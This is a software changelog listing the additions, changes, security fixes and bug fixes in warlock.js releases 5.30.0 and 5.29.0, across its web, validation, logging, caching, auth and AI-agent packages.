    • ChangedThe devtools-overview skill shows how to read a request's devtools timeline from the terminal with warlock trace, and how coding agents read recent requests through the requests_recent tool of warlock mcp. The JSON API they use (GET <path>/api/requests, GET <path>/api/requests/:id) is unchanged.
    @warlock.js/notificationsFixed 1
    • FixedLocal Redis integration tests skip with a clear service message when Redis is unavailable; CI and explicitly requested integration runs fail instead. Unit cases remain runnable without Redis.
    5.30.0
    October 16, 2026

    Fixes for issues found while building real apps on 5.29, plus a security and correctness review. Security: request logs no longer carry OAuth codes, signed-URL credentials or raw Request/Response objects (route logging policy, masked URLs and query), log and cache output masks email addresses with a linear pattern, <Form> only enhances same-origin targets and redirects refuse javascript: targets on the server and the client, SSE event names and ids are stripped of line breaks, login throttles key by an HMAC of the credential, and parallel AI tool calls are capped and serialised per file. HTTP: a request-lifetime request.signal, bounded SSE and stream retention with backpressure, graceful shutdown that closes idle keep-alive connections, typed http.serverOptions, http.errorMapper, shared rate limits through @warlock.js/cache, and @warlock.js/core/errors. Seal: v.literal("") and .default("") keep empty strings, optional discriminated unions accept omitted fields, and validate() returns typed output. Web: 4xx error pages hydrate, <Head /> renders the viewport, <Form independent>, redirect submissions wait for the new page, and production starts without Vite or Babel. Breaking: log methods return the logger instead of a promise (await log.flush() waits), and AI tool calls in one trip run concurrently by default (toolDispatch: "sequential"). create-warlock works on pnpm 9 and 10 again.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 11Changed 13Fixed 18
    • Addedrequest.signal: an AbortSignal that aborts when the client disconnects before the response finishes (not when the request body finishes reading, never on normal completion); its listener is attached on first access and removed when the response closes.
    • AddedStream backpressure: response.stream()'s controller gains write(data) (sends, then waits until the client can take more; false once it is gone), drain(), backpressured, signal (aborted on client disconnect, not on end()) and onDisconnect(fn), matching response.sse().
    • AddedSSE backpressure: sse.write(event, data, id?) sends and waits until the client can take more (false once it is gone), plus sse.drain(), sse.backpressured and sse.signal (aborted on disconnect).
    • Addedhttp.serverOptions is typed (HttpServerOptions), including Node's native http options such as serverOptions.http.maxHeaderSize; it was already forwarded to Fastify but the config type could not express it.
    • Added@warlock.js/core/errors: a side-effect-free subpath with HttpError and its subclasses (BadRequestError, ResourceNotFoundError, …). A standalone helper or worker can import it without bundling Cascade, Cache or the MongoDB driver; the classes are the same ones the root exports, so instanceof holds across both.
    • Addedhttp.errorMapper: map errors that are not an HttpError to { status, message?, payload? } (or an HttpError), so domain errors shared with non-HTTP processes need not extend Core. A mapped 5xx stays opaque unless the mapper sets a message; a mapper that throws is logged and ignored.
    • AddedPer-route request logging policy: logging: { body?: boolean, query?: boolean } on a route, with app-wide defaults under http.logging (plus redactQueryParams). It is applied before any log entry is built, so a schema- or middleware-rejected body never reaches a log channel.
    • Addedrequest.toLogSnapshot(), buildRequestLogSnapshot() and redactUrlCredentials(): the bounded, plain-data view of a request that log entries now carry.
    • AddedpurgeImageVariants(path?, { disk? }) removes one file's cached image derivatives, or a disk's whole derivative cache.
    • AddedcreateUploadedFileController({ disk }) serves the originals and variants of any local disk, and resolveImageVariant({ disk?, path, variant, format? }) resolves (and renders on a miss) one variant for an app's own route, e.g. a private disk behind auth. uploadedFileController is createUploadedFileController().
    • AddedShared rate limits: http.rateLimit.store: "cache" counts in @warlock.js/cache, so every process on a shared driver (Redis, Postgres) shares the limit; middleware.rateLimit() follows it or takes its own store and a stable name. A @fastify/rate-limit store class can be passed as store too. Windows are fixed and clock-aligned. Each route with its own rateLimit counts separately (namespaced by method and URL from the plugin's routeInfo, hashed so /users/:id and /users/id never merge). A cache outage fails open on both limiters (skipOnError defaults to true for this store) and is logged at most once a minute. The null and file cache drivers are refused with UnsupportedRateLimitDriverError (one stores nothing, the other never sweeps expired windows and does not share increments between processes).
    • Changedresponse.stream() no longer keeps rendered chunks. response.body after end() holds the last retainChunks chunks written by send(), write() or render() (response.stream(type, { retainChunks }), default 0); it used to hold every render() chunk.
    • Changedresponse.stream(): after the client disconnects, send()/render() are silent no-ops and ended is true (they used to write to the closed socket); send() after end() still throws.
    • Changed@fastify/static is only loaded when there is something to serve — at least one router.directory(), or an existing public folder (storage.publicRoot, which now also accepts false to turn it off). Its directory-listing module calls os.cpus() at load, which cost a measured ~0.4–0.5 s of cold start in an app that served neither. With no public folder, reply.sendFile is no longer decorated by that plugin; response.sendFile() is unaffected.
    • Changed@warlock.js/core/errors also resolves inside the framework repository (a root errors/index.ts re-export, not published), so workspace packages and tests can import it by its package name.
    • Changedresponse.sse() no longer keeps every sent event. response.body after end() holds the last retainEvents events (response.sse({ retainEvents }), default 0), so long-lived streams no longer grow with their history.
    • ChangedBREAKING (only for a custom log channel that reads context.request/context.response): request log entries carry a RequestLogSnapshot, not the Request/Response instances (context.request is { id, method, url, route, name, ip, userAgent, query?, body? }; response.log adds { statusCode }). Native request/reply graphs no longer reach log channels, and credential-bearing query values (secret, token, apiKey, signature, code, X-Amz-*, …) are masked in the logged URL. warlock upgrade --from 5.29 --to 5.31.0 applies the mechanical part (codemod request-log-snapshot).
    • Changedwarlock add notifications writes a smaller, convention-following module: models/notification/ (model with a NotificationResource, migration), resources/, a validated schema/list-notifications.schema.ts (limit capped at 50, no request.all()), a guarded types/notifications-request.type.ts, services/, utils/locales.json, one controller per file for list / unread-count / mark-read / mark-all-read registered through router.route(), a commented gate() permission hook, and a 401 spec per controller when the app has the test feature. The clear-all and delete endpoints are no longer generated. Apps that already have a notification model (5.29 layout included) are skipped, and a freshly ejected config/notifications.ts then imports the 5.29 model path. In an app that already has src/app/notifications, no second model or migration is added, existing files are kept (and listed), and notFound is merged into an existing utils/locales.json. The mark-read controller turns a numeric :id into a number (integer ids on the default MongoDB stack) and keeps other ids as strings; the list query drops unknown keys such as a cache-busting _ instead of rejecting them.
    • ChangedImage derivatives are cached per source (<cacheDirectory>/<2 hex>/<sourceKey>/<size-mtime>/<hash>.<ext>). Deleting or moving a file through a local disk (delete, deleteMany, move, and deleteDirectory for every file under it) removes its derivatives, and a rewritten source's old derivatives are pruned once a new one is written, so the cache no longer grows forever. Pruning re-checks the source first, so a request that read an older version never deletes the newer version's derivatives, and a derivative pruned mid-request is rendered again instead of answering 500.
    • ChangedConcurrent variant requests for the same file on two disks (a mirror copied with its mtime) no longer share one generation, which left the second target unwritten and answered 500.
    • ChangedA warning is logged once when the image-variant cache sits inside the public folder: a configured uploads.images.cacheDirectory is shared by every local disk, so private derivatives there would be publicly served.
    • Changedstorage.use(name) (and StorageManagerContract.use) is typed as ScopedStorage, the class it returns, so deleteDirectory, copyDirectory, moveDirectory, emptyDirectory, putFromUrl, prepend and append type-check without a cast.
    • Changedmiddleware.rateLimit() returns an async middleware (its in-memory path still completes synchronously).
    • ChangedThe run-app skill lists where each pnpm version reads build approvals (allowBuilds on 10.26+, workspace onlyBuiltDependencies on 10.5–10.25, package.json before 10.5); it used to say only allowBuilds works.
    • FixedGraceful shutdown no longer waits out its timeout on keep-alive connections whose request finished during the drain: in-flight responses answer Connection: close and connections are closed as they go idle (default forceCloseConnections: "idle"), so later connectors still shut down. Active responses are never cut short.
    • FixedA response.sse() or response.stream() started after graceful shutdown began keeps the drain's Connection: close; its own Connection: keep-alive used to override it and hold close() until the shutdown timeout.
    • Fixedresponse.sse() removes line breaks and NUL from event names and ids, and writes a multi-line comment() as one comment line per line, so values built from user input cannot inject SSE fields or events.
    • FixedAn onDisconnect handler on response.sse() or response.stream() that throws is logged and no longer crashes the process or skips the handlers after it.
    • Fixedwarlock.config.ts loads when it imports local TypeScript without an extension (./src/connectors/local) or through a tsconfig paths alias, on Node without native TypeScript and with native type stripping alike. The fallback bundles the config's local graph with esbuild, keeps packages external (one BaseConnector/container identity), runs the config once, rethrows its own errors unchanged, keeps each inlined module's import.meta.url, and removes its temp file.
    • Fixedv.file() rule methods (maxSize, image, accept, mimeType, …) return this, so the UploadedFile output type survives the chain; saveTo() is typed as a string output.
    • FixedThe dev server and the HTTP test server register module src/app/<module>/utils/locales.json dictionaries at boot; they were left out of the boot file set, so t() printed raw keys until the file was edited.
    • FixedThe HTTP test server no longer keeps Vitest's main process alive after teardown: the loader-hook MessagePort is unreferenced except while a version-bump flush waits for its acknowledgement.
    • FixedA quoted config key ("machine-thumb", 'single-quoted') is written to .warlock/typings/config.d.ts without its quotes, so the generated file stays valid TypeScript; computed keys are skipped, and a quoted storage driver name is no longer quoted twice. The typings manifest now records its generator version, and a manifest written by an older version is discarded, so a config.d.ts broken by 5.29 is regenerated on the first boot after upgrading instead of only when a config file changes.
    • FixedThe circular-dependency check no longer reports a file as importing itself because a comment mentions import("./same-file"): the regex fallback ignores comments and self imports are not dependency edges. Comments are found with the TypeScript parser, so a regex literal such as /\/*$/ or // inside JSX text is never mistaken for one and the imports after it are kept. A pure export type { X } from re-export adds no dependency edge on either parsing path.
    • Fixedwarlock add web's src/web/root.tsx stub notes that <Head /> renders the viewport tag (metadata.viewport changes or disables it) and does not hand-write a second one.
    • FixedMail logs no longer print recipient addresses: send, development, test-mode, partial-rejection and error lines show m***@example.com. MailResult and a thrown MailError still carry the real addresses.
    • Fixedhttp.rateLimit had no way to share counts between processes except an ioredis client, which the node-redis connection of @warlock.js/cache cannot provide.
    • FixedRequest log snapshots mask credential query parameters (code, signature, sig, X-Amz-*, X-Goog-*, the logger's secret keys and http.logging.redactQueryParams) in the parsed query too, not only in url; OAuth authorization codes no longer reach log lines. New redactQueryCredentials().
    • Fixedwarlock.config.ts fallback: a catch-all tsconfig paths pattern ("*": ["./types/*"]) no longer inlines packages into the config bundle; an alias is inlined only when it resolves outside node_modules.
    • Fixedwarlock.config.ts fallback: import.meta.url/dirname/filename are replaced only where they are real expressions, so the same words inside a string or comment no longer break or alter the bundled config.
    • Fixedwarlock.config.ts fallback runs only for the config's own unresolved relative or aliased imports (not for a package that is not installed, or a module missing inside node_modules), and also when native type stripping refuses the TypeScript (ERR_UNSUPPORTED_TYPESCRIPT_SYNTAX, ERR_UNSUPPORTED_NODE_MODULES_TYPE_STRIPPING). A loading error in the bundled config names warlock.config.ts instead of the temporary module.
    • Fixedwarlock add image on pnpm 9 and 10.0–10.4 no longer creates a settings-only pnpm-workspace.yaml (packages field missing or empty): the sharp approval goes where the installed pnpm reads it (package.json pnpm.onlyBuiltDependencies before 10.5, the workspace's onlyBuiltDependencies on 10.5–10.25, allowBuilds from 10.26). Inside a parent pnpm workspace no per-app file is written.
    @warlock.js/webAdded 6Changed 3Fixed 9Security 2
    • Added<Form query={{ … }}> sets the query string of the URL the form posts to (the current page, or to's page), without touching the body or the named action.
    • Added<Form independent> submits alongside a pending submission instead of sharing it: a Cancel next to a long-running Start. Neither aborts the other; a double submit of the same form with the same fields still shares one request, another form posting the same action (a Cancel per row) never does, and unmounting a form cancels only its own submission. Its result, redirect included, is dropped once the user has moved to another page.
    • AddedLinkPropsWithout<K> and DistributiveOmit<T, K>: omit props from LinkProps without collapsing its destination union, so a wrapper keeps the required-params check.
    • AddedisRouteName(name) narrows a data-driven string to a route name after checking the published route table, so it reaches <Link to> or href() without a cast.
    • Addedmetadata.viewport (string | false). <Head /> now emits <meta name="viewport" content="width=device-width, initial-scale=1"> by default, so a new app lays out at device width on phones; a meta entry named viewport is still honoured. Like the charset it is document-level: client navigation never rewrites it, nor a viewport tag root.tsx writes itself.
    • AddedwebConnector({ build: { testOnly } }): app-root-relative folders or files the production build's page-graph scan skips.
    • ChangedA page action that redirects now ends its submission once the redirected page is on screen: useIsSubmitting() stays true and onSuccess waits until the destination's fresh loader data has committed, so a revision-guarded form cannot resubmit stale data.
    • ChangeduseIsSubmitting() is true while any submission is in flight, including independent ones.
    • ChangedA production start no longer loads Vite, Rollup or @babel/parser: the web connector imports its Vite dev-server config, page-registry plugin, dev route installer, dev 404 reporter and the sitemap's page-walk fallback only on the development path, so its static graph shrinks from 185 to 67 modules.
    • Fixed<Form> honours the submit button's formAction and its name/value. The enhanced path posted to the form's URL; with no navigation runtime the fallback called form.submit(), which dropped both. Without a runtime the browser now submits natively, and a late fallback re-submits through the same button.
    • FixedA page request the client abandoned before its loaders finished no longer renders: it stops with ClientDisconnectedError before anything is committed, and the page handler neither reports it nor writes a response. It used to render layouts without their loader data and log a 500. A loader timeout on a connected request still renders its 504.
    • FixedA 4xx error page (a thrown ForbiddenError/BadRequestError, a failed page validation) now hydrates. The client payload gate accepted only 500–599 and only name/message/stack, so it refused the 4xx status, the validation errors and the production errorCode the server sends, and logged "hydration payload … could not be read".
    • FixedThe production build's import.meta.url / static-asset scan skips *.spec.* and *.test.* files and __tests__ / __mocks__ folders; a test helper under src/web no longer fails warlock build.
    • FixedWeb's React contexts (locale, document, session) live in one Symbol.for registry on globalThis, so a second evaluation of their module under warlock dev reuses them instead of making useLocale() throw "called outside Warlock's LocaleProvider" until restart.
    • FixedA request abandoned between the layout and page loaders no longer renders the page with data undefined; covered by the abandoned-request fix above, with a regression test for this case.
    • FixedAn abandoned page request still reports a genuine failure (a loader or session-resolver bug) that happened before the disconnect; only failures the abort itself caused stay silent.
    • FixedAn independent submission no longer draws the page the user left over the page a navigation already in flight committed, and a page swap no longer leaves another operation's pending commit unresolved, which could keep useIsNavigating() true and hang a redirect's wait.
    • FixedThe build's test-folder skip reads folder names below the web root, so an app located under a __tests__ folder is still scanned.
    • SecurityA redirect target is followed or emitted only when it is relative or http:/https:. response.redirect() in a loader or action throws for javascript:, data: and other schemes (and for control characters), so redirect(request.input("next")) can no longer send script to the browser; the client refuses such an x-warlock-redirect header and never hands one to window.location.assign().
    • Security<Form> enhances only same-origin http(s) targets. A submit button whose formaction names another origin is posted natively instead of being fetched, so the page never trusts another origin's redirect header or page payload.
    @warlock.js/sealAdded 2Changed 6Fixed 5
    • AddedTypedValidationResult<T> and ValidatedOutput<T> types.
    • Addedpnpm bench:types measures inference compile cost on a generated composed-schema project (16 entities, 8 services) and fails when instantiations or types grow more than 5% over bench/types-baseline.json. It also fails when it cannot read a metric or is given a malformed option, warns when the TypeScript version differs from the baseline's (--strict makes that a failure), and removes its temporary project on Ctrl+C.
    • Changedvalidate() takes data: unknown instead of any.
    • ChangedInfer.Input/Infer.Output of an object is one flat object type instead of an intersection of its optional and required halves; the shape is unchanged and compile cost moves by 0.1%.
    • Changedpnpm typecheck now also checks the expectTypeOf assertions in tests/unit/types/ (tsconfig.typecheck.json); they were never enforced before.
    • Changed.refine() callbacks stay value: any on purpose: custom rules run before an object or array validates its children, so the value is not the schema output.
    • ChangedBehaviour change: v.union([...]) now checks a present empty value ("") against its members instead of accepting it unchecked; a missing key is still the required/.optional() question. v.union([v.literal("x"), v.int()]).present() now rejects "".
    • Changedvalidate() keeps the typed output of v.record(...) (Record<string, …>); only an index signature over any/unknown (the wide Schema) stays any.
    • Fixedv.literal("") accepts a present "" again (regressed in 5.25): its default (implicit) required state and .present() keep it, .optional() and .nullable() no longer drop it. An explicit .required() or requiredIf(...) still rejects "". A literal set without a blank value still reads "" as missing.
    • FixedA field with an empty default (v.string().max(n).default("")) no longer fails "is required" when the input omits it, sends null, or sends a blank string (an untouched HTML input); the output is the default.
    • FixedA null default no longer satisfies "required" on a field that is not .nullable(), and an empty default of the wrong type (v.int().default("")) now fails the type rule instead of being returned unchecked.
    • Fixedv.discriminatedUnion(...).optional() accepts an absent, undefined or null field, as every other validator does; .default(...) replaces null too and is validated through its branch. A required union reports a missing or null field with the required error; .nullable() keeps null.
    • Fixedschema["~standard"].validate(...) on a discriminated union resolves to the branch output union instead of unknown.
    @warlock.js/loggerAdded 2Changed 4Fixed 4
    • Addedlog.onChannelError(handler) / configure({ onChannelError }) and the ChannelErrorHandler type: receives a channel's sync throw or async rejection from log(), a redaction that threw, or a timed-out flush(). Default: one stderr line. The handler may be async; a rejection is swallowed.
    • AddedmaskEmail(address) and maskEmailsInText(text): mask email addresses (m***@example.com) inside message strings and cache keys, which key-based redaction cannot reach. Core's mail logs and the cache drivers' key logs use them.
    • ChangedLogging is fire-and-forget: level methods no longer return a promise, so @typescript-eslint/no-floating-promises no longer flags every call site.
    • Changedlog.flush() drains every channel concurrently: each waits for its own in-flight async deliveries (including entries logged while the flush runs), then runs its flush(), so a hung network channel no longer holds up the file channel.
    • Changedlog.flush({ timeout }) is bounded: it resolves after timeout ms (default 5000, DEFAULT_FLUSH_TIMEOUT_MS; Infinity waits without a limit) and reports each channel still draining to the channel error handler. Before, one delivery that never settled made flush() (and a graceful shutdown awaiting it) wait forever.
    • ChangedmaskEmailsInText cuts text longer than MASK_EMAILS_MAX_LENGTH (16,384 characters) and marks the cut, so masking a huge cache key or message has a bounded cost.
    • FixedA channel whose log() rejected became an unhandled rejection (looping through captureAnyUnhandledRejection), and one that threw synchronously stopped delivery to the channels after it; both are now isolated and reported to the channel error handler.
    • FixedA redaction that threw (a censor function that fails on an unexpected value) threw at the call site and skipped the remaining channels. A channel's own redaction failure is now isolated like any channel failure; a logger-wide one drops the entry (it is never delivered unredacted) and is reported to the channel error handler.
    • FixedAn async onChannelError handler that rejected became an unhandled rejection.
    • FixedSecurity: maskEmailsInText backtracked quadratically on long runs of address-like characters with no domain (about 11 s on 75 KB), and it runs on cache keys built from request input. Its pattern is now bounded and linear. It also masks addresses with letters from any script (jöhn@exämple.de), and maskEmail no longer keeps half of a surrogate pair.
    @warlock.js/aiAdded 7Fixed 2
    • AddedProvider content blocks: ProviderContentBlock ({ provider, type, data }) on ModelResponse.blocks, the streaming done chunk, Message.blocks, CapturedMessage.blocks, LLMTrip.blocks and AgentResult.blocks. The agent copies a response's blocks onto the assistant turn so the adapter can replay it verbatim (thinking, compaction).
    • AddedFinishReason values context_exceeded, pause_turn and refusal. The agent resumes a pause_turn by replaying the paused turn, within maxTrips.
    • AddedtoolDispatch: "concurrent" | "sequential" on AgentConfig and AgentExecuteOptions (ToolDispatchMode), concurrent by default.
    • AddedmaxConcurrentTools on AgentConfig and AgentExecuteOptions (default 4): the cap on a trip's tool calls running at once, so a model (or a prompt injected into its context) cannot start an unbounded number of tool calls in one turn.
    • AddedmapWithConcurrency(items, limit, mapper) utility: an order-preserving Promise.all with a concurrency cap.
    • AddedModelCallOptions.providerOptions (adapter-only options keyed by wire format) and cacheControl.ttl ("5m" | "1h").
    • AddedMockModelResponse.blocks for scripting provider blocks in tests.
    • FixedThe semantic cache no longer stores a paused (pause_turn) turn as a final answer, and stores a resumed turn whole (every segment), not only its last segment.
    • FixedVCR request hashes include providerOptions, so two calls that differ only in provider options (betas, context_management, …) no longer replay the same recording. It joins the hash only when a provider entry carries a value — {}, { anthropic: {} } and { anthropic: { betas: undefined } } hash like no providerOptions — so existing cassettes recorded without it still match. cacheControl (breakpoints, ttl) stays out of the hash: it changes billing, not output.
    @warlock.js/ai-anthropicAdded 4Changed 3Fixed 2
    • AddedResponses with thinking, redacted-thinking, compaction, server-tool or cited-text blocks return the whole ordered turn as ModelResponse.blocks (and on the streaming done chunk); an assistant message carrying Anthropic blocks is replayed verbatim.
    • AddedproviderOptions.anthropic (AnthropicCallOptions): betas routes the call through client.beta.messages, body merges extra request fields last (context_management, fallbacks, inference_geo, …), thinkingDisplay sets thinking.display.
    • AddedAnthropicModel.countTokens(messages, options?) counts input tokens through messages.countTokens; AnthropicModel is exported and AnthropicSDK.model() returns it.
    • AddedPer-call cacheControl.ttl overrides the model's promptCacheTtl.
    • ChangedConsecutive tool results are sent as one user message with several tool_result blocks, as Anthropic expects for parallel tool use.
    • ChangedClaude 5-family thinking rules: Opus 5.5, Sonnet 5.5 and Fable 5 / 5.1 never receive budget_tokens or disabled.
    • Changedeffort: "none" on Claude Sonnet 5.5 sends thinking: { type: "between_tools" } (its only thinking-off form, sent alone with no output_config.effort or display); it used to omit thinking, so the model still thought at its default effort. Opus 5.5 and Fable 5 / 5.1 have no thinking-off form and keep omitting thinking.
    • FixedproviderOptions.anthropic.thinkingDisplay is applied only to adaptive thinking, so it is never sent beside between_tools (a 400).
    • FixedSecurity: a stored block is replayed only when its data.type equals its declared type and the type is one Claude returns on an assistant turn (text, thinking, redacted thinking, tool use, server-tool use and results, MCP, container upload, compaction). A transcript from outside the process can no longer smuggle a tool_use or user-side block past the tool-id check; such turns are rebuilt from content + toolCalls.
    @warlock.js/ai-workspaceAdded 3Fixed 6
    • Addedexec() takes a per-call signal (ExecOptions); run_shell and run_tests pass the agent run's ctx.signal. An already-aborted signal never starts the command; an abort mid-run kills the process tree. Both resolve with the new cancelled: true on RunShellResult, never together with timedOut.
    • AddedWorkspaceBackendExecOptions.signal and WorkspaceBackendExecResult.cancelled? for custom backends; the local backend removes its abort listener when the command settles, and the mock backend honours a pre-aborted signal.
    • AddedRead results carry startLine, endLine, truncated, bytesCapped and totalBytes; readFile() and the read_file tool now return the same ReadFileResult for the same arguments.
    • Fixedread.maxBytes is enforced: the returned content (line-number prefixes and newlines included) never exceeds it, so a single long line no longer bypasses the cap. Lines are cut on a character boundary, never mid-character; hash remains the SHA-256 of the whole file.
    • FixedCommand output clipped at shell.maxOutputBytes is cut on a character boundary instead of ending in a replacement character.
    • FixedA read window past the end of the file returns empty content instead of one numbered empty line.
    • FixedWrites, edits and removes of the same path are serialized, so two concurrent edit_file calls (the agent now dispatches a trip's tool calls concurrently) can no longer both pass the stale-hash guard and silently drop one edit; the second re-reads and is rejected as stale, or applies on top when it pinned no hash.
    • FixedAborting a command after it has already exited (while its stdio is still draining) no longer reports it as cancelled; the tree is still reaped so the result settles.
    • FixedOn Windows, a taskkill that cannot be started no longer crashes the process with an unhandled 'error' event; the direct child is killed instead.
    @warlock.js/cacheChanged 1Fixed 3
    • ChangedEmail addresses inside logged cache keys are masked (user.member@example.com logs as u***@example.com), in the base driver's operation log, in error lines (written even with logging off: SWR refresh failures, lock release, clone failures), in the "Cannot increment non-numeric value" error, and in the null driver.
    • Fixedredis driver increment() works on Redis 6. With a default ttl configured it ran EXPIRE … NX, which only Redis 7+ accepts: on Redis 6 the call threw after the count had already gone up, which silently disabled login throttles and the cache-backed rate limiter. The increment and the default TTL are now applied together by one Lua script, and a TTL the counter already has is never shortened.
    • FixedThe default increment() (file and null drivers) reads a counter's value and deadline in one read. A counter that expired between two separate reads used to be rewritten from its stale value with no expiry at all, and every increment rounded the remaining TTL up, pushing the deadline up to a second later each time.
    • Fixedfile driver: an entry stored without a TTL (its expiresAt is written to JSON as null) was read back by the internal entry reader as already expired, so swr() freshness checks and TTL-preserving writes treated it as missing.
    create-warlockChanged 1Fixed 3
    • ChangedSelecting notifications scaffolds the smaller, convention-following src/app/notifications module that warlock add notifications now writes (see @warlock.js/core).
    • FixedNew apps get the viewport tag from <Head /> (@warlock.js/web 5.30.0), so phones lay pages out at device width and responsive CSS applies; the scaffolded src/web/root.tsx says so and does not hand-write a second one.
    • Fixedpnpm before 10.5 could not install a new app (ERROR packages field missing or empty): pnpm 7–9 and 10.0–10.4 reject the settings-only pnpm-workspace.yaml. The scaffold now reads pnpm --version and writes approvals where that version reads them: no workspace file and pnpm.onlyBuiltDependencies in package.json before 10.5; the workspace file plus onlyBuiltDependencies on 10.5–10.25 (which ignore allowBuilds); the unchanged allowBuilds file on 10.26+, 11 and 12. It does not add packages: ["."], which fails every later pnpm add on those versions (ERR_PNPM_ADDING_TO_ROOT). Feature approvals (sharp) follow the same rule; apps inside an existing workspace still get neither.
    • FixedThe feature multiselect no longer prints stacked copies of itself in a short or narrow terminal: the 22-option list pages to the terminal's height, and each row's hint is shortened to fit one line (a wrapped row made clack redraw below the previous frame). The AI and agent-target multiselects use the same sizing. @clack/prompts is now ^0.8.2, the first version whose multiselect pages.
    @warlock.js/authChanged 3
    • ChangedThe login throttle keys accounts and IPs by a keyed hash (auth.throttle.count.email.<hmac>, auth.throttle.count.ip.<hmac>) instead of the raw address or IP, so cache logs never show them. The HMAC key is derived from auth.accessToken.secret (as the OTP code MAC is), so a list of known addresses cannot reverse it; without a configured secret it falls back to SHA-256. The value is trimmed and lower-cased first, so " Sara@x.io" and "sara@x.io" share one bucket. Applies to loginThrottleMiddleware and every preset built on it (token issue/consume, OTP); a custom identify is used as is. throttleIdentifierHash(kind, value) is exported.
    • ChangedA throttle lock stores its own deadline, so a cache driver with sliding expiration (memoryExtended) can no longer keep a retrying client locked past lockoutDuration. Locks written by 5.29 (true) are still honoured until they expire.
    • ChangedThe throttle warns once when the cache driver is null, which stores nothing, so the throttle can never lock.
    @warlock.js/fsAdded 2
    • AddedmoveDirectoryNoReplaceAsync(from, to, { expectedSource?, syncParents? }) (also fs.dirs.moveNoReplace): moves a directory only when nothing holds the destination, refusing atomically instead of replacing an empty directory the way rename() does. It claims the name with an exclusive mkdir, renames over that placeholder, verifies the moved (dev, ino) and never falls back to copy + delete.
    • AddedDirectoryMoveError with outcome (not-moved: this call moved and replaced nothing / moved / uncertain), reason, and placeholderCleanupError when the empty placeholder it claimed could not be removed; directoryIdentityAsync() and the DirectoryIdentity type. When the source vanishes just before the rename the claim is released and the error is not-moved / source-identity-mismatch. The destination parent may be a symlink to a directory (macOS /tmp, a deploy current link). POSIX only: refuses explicitly on Windows and across filesystems.
    @warlock.js/notificationsChanged 1
    • ChangedDocs and skills point at the model path warlock add notifications writes since 5.30.0: app/notifications/models/notification/notification.model.
    5.29.0
    October 1, 2026

    Fixes for applications upgrading from 5.27, typed nullable and list resources, and one module graph in dev. locales.json files under $sites/<site>/… (and other $ folders) work again: the folder only names the group when $group is missing (a 5.27 regression). In warlock dev, the dev server has its own Vite cache so a vitest run no longer breaks it, multi-site roots get their site's translations, the original error of a broken page is logged first instead of a follow-on useLocale() error, and src/app modules imported by pages share the instance the API side uses. New in @warlock.js/core: nullable(Resource) for resources that may be null (resources, responseSchema, OpenAPI, route types) and [Resource] list fields in defineResource; cast strings inside arrayOf item schemas are no longer dropped. useTrans() returns string instead of any. Every package's skills now refer to other topics by name, so the links work after they are copied into an app.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webFixed 6
    • Fixedwarlock dev uses its own Vite cache (node_modules/.vite/warlock-dev), so a vitest run that re-optimizes dependencies no longer wipes the dev server's cache and 500s every SSR page until a restart.
    • FixedThe original error is no longer hidden behind a follow-on one. When a client navigation cannot build the page tree (e.g. a server-only barrel imported from browser code), the original error is kept across the forced reload and logged first as the ROOT CAUSE; later errors in that document, such as "useLocale() was called outside Warlock's LocaleProvider", are marked as probable consequences. On the server, a page module that fails to load logs its original error at install time, and an error page that itself fails is reported as a consequence naming the root cause. onClientError receives the new "navigation" kind.
    • FixeduseTrans() returns a typed translator: it returns string, not any, and keys are still checked against TranslationKeyRegistry. Translate is one plain signature, so a lambda passed where a Translate is expected (label((key) => t(key))) keeps its parameter type. New type exports: TranslateFor, TranslationConverter, InlineTranslation.
    • FixedMulti-site apps in warlock dev: a site's root.tsx and its locales.json are keyed by the same site folder (as in production), so the root LocaleProvider gets the site dictionary instead of {}, including when the client rebuilds after an SSR failure.
    • Fixedlocales.json files under $-prefixed folders (src/web/$sites/<site>/..., guard folders) no longer fail warlock generate.typings, dev or build with "segments must match …" (5.27 regression). The folder-derived namespace is computed only when the file declares no $group, and skips $ folders and the site name after $sites.
    • Fixedwarlock dev: an src/app module imported by a page, layout or root is the same instance the API side uses (one module graph), so module state such as an AsyncLocalStorage set in middleware, caches and registries is shared between controllers and page loaders. Pages reach those modules through a trampoline to the native module core already loaded. Modules that (transitively) import @warlock.js/web, live in src/web, are client-bound, or need Vite (import.meta.env/glob/hot, CSS or asset imports) keep loading through Vite as before. Dev only; production builds are unchanged.
    @warlock.js/coreAdded 2Fixed 3
    • Addednullable(Resource): a resource that may be null, accepted as a defineResource field and in responseSchema bodies. A field outputs null (not omitted) for null/undefined input; ResourceOutput/ResponseBodyOutput type it as Output | null; OpenAPI documents it as oneOf [resource, null]; route types emit … | null.
    • Added[Resource] list fields in defineResource: each item is mapped through the resource, [] stays [], and the output type is an array (the same syntax responseSchema already accepts). Plain Resource fields behave as before.
    • FixedCast strings inside an arrayOf({...}) item schema ("number", "string?", "date", "string[]") were silently dropped from the resource output; they are now cast like top-level fields, matching the output type.
    • FixedparseLocaleDictionary() accepts defaultNamespace as a function, called only when the file declares no $group, so a folder that cannot name a namespace never fails a file with an explicit $group.
    • Fixedwarlock dev publishes each src/app file it reloads ({ url, generation }, after the loader hook confirms the bump) through the development.appModules container key, so @warlock.js/web can load the same module instance in page loaders.
    @warlock.js/accessChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/aiChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-anthropicChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-bedrockChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-deepseekChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-googleChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-groqChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-liveChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-mistralChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-ollamaChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-openaiChanged 1
    • ChangedSkills refer to other topics by name instead of file paths, so cross-references keep working after agent-kit copies them into an app.
    @warlock.js/ai-panopticChanged 1
